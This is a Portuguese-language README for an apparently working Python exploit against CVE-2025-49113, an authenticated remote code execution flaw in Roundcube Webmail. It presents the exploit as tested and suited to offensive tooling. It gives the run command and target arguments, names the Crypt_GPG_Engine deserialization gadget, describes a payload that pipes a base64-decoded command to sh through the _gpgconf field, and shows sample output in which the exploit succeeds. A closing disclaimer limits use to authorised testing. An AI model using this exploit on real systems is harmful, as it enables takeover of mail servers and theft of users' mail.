
💥 Exploit em Python para CVE-2025-49113 | RCE no Roundcube Webmail via Injeção de Objeto PHP
ID CVE: CVE-2025-49113
Tipo de Exploit: Execução Remota de Código (via Injeção de Objetos PHP)
Aplicação: Roundcube Webmail ≤ 1.5.9 e ≤ 1.6.10
Linguagem do Exploit: Python
Autor: 00xCanelo
Status: Testado e Funcionando em Instalações Vulneráveis do Roundcube
Este exploit explora uma vulnerabilidade na forma como o Roundcube Webmail lida com nomes de ficheiros de imagem carregados, que são desserializados como objetos PHP. Ao criar um payload malicioso que aciona uma cadeia de desserialização Crypt_GPG_Engine, é possível obter execução remota de comandos após autenticação.
Este PoC em Python imita a cadeia de ataque usada pelo exploit público em PHP, mas com lógica mais limpa, registo opcional e facilidade de uso em configurações de ferramentas ofensivas.
pip install requestspython3 CVE-2025-49113.py <target_url> <username> <password> <command>
python3 CVE-2025-49113.py https://mail.target.htb/ [email protected] 'P@ssw0rd123' 'id'
A classe PHP Crypt_GPG_Engine permite definir um campo _gpgconf, que é depois passado para execução no shell.
O nosso payload cria:
echo "<base64-encoded-cmd>" | base64 -d | sh
em _gpgconf, o que leva a RCE na desserialização.
[*] Iniciando exploit CVE-2025-49113...
[*] A verificar versão do Roundcube...
[*] Versão detectada do Roundcube: 10606
[+] O alvo é vulnerável!
[*] A iniciar sessão...
[+] Início de sessão bem-sucedido.
[*] A carregar gadget serializado como nome de ficheiro de imagem...
[+] Gadget carregado com sucesso!
.
├── CVE-2025-49113.py # Script PoC em Python
└── README.md # Esta documentação
Este código é apenas para fins educativos e de testes de segurança autorizados. Qualquer uso indevido desta ferramenta é estritamente proibido. O autor não é responsável por quaisquer danos causados.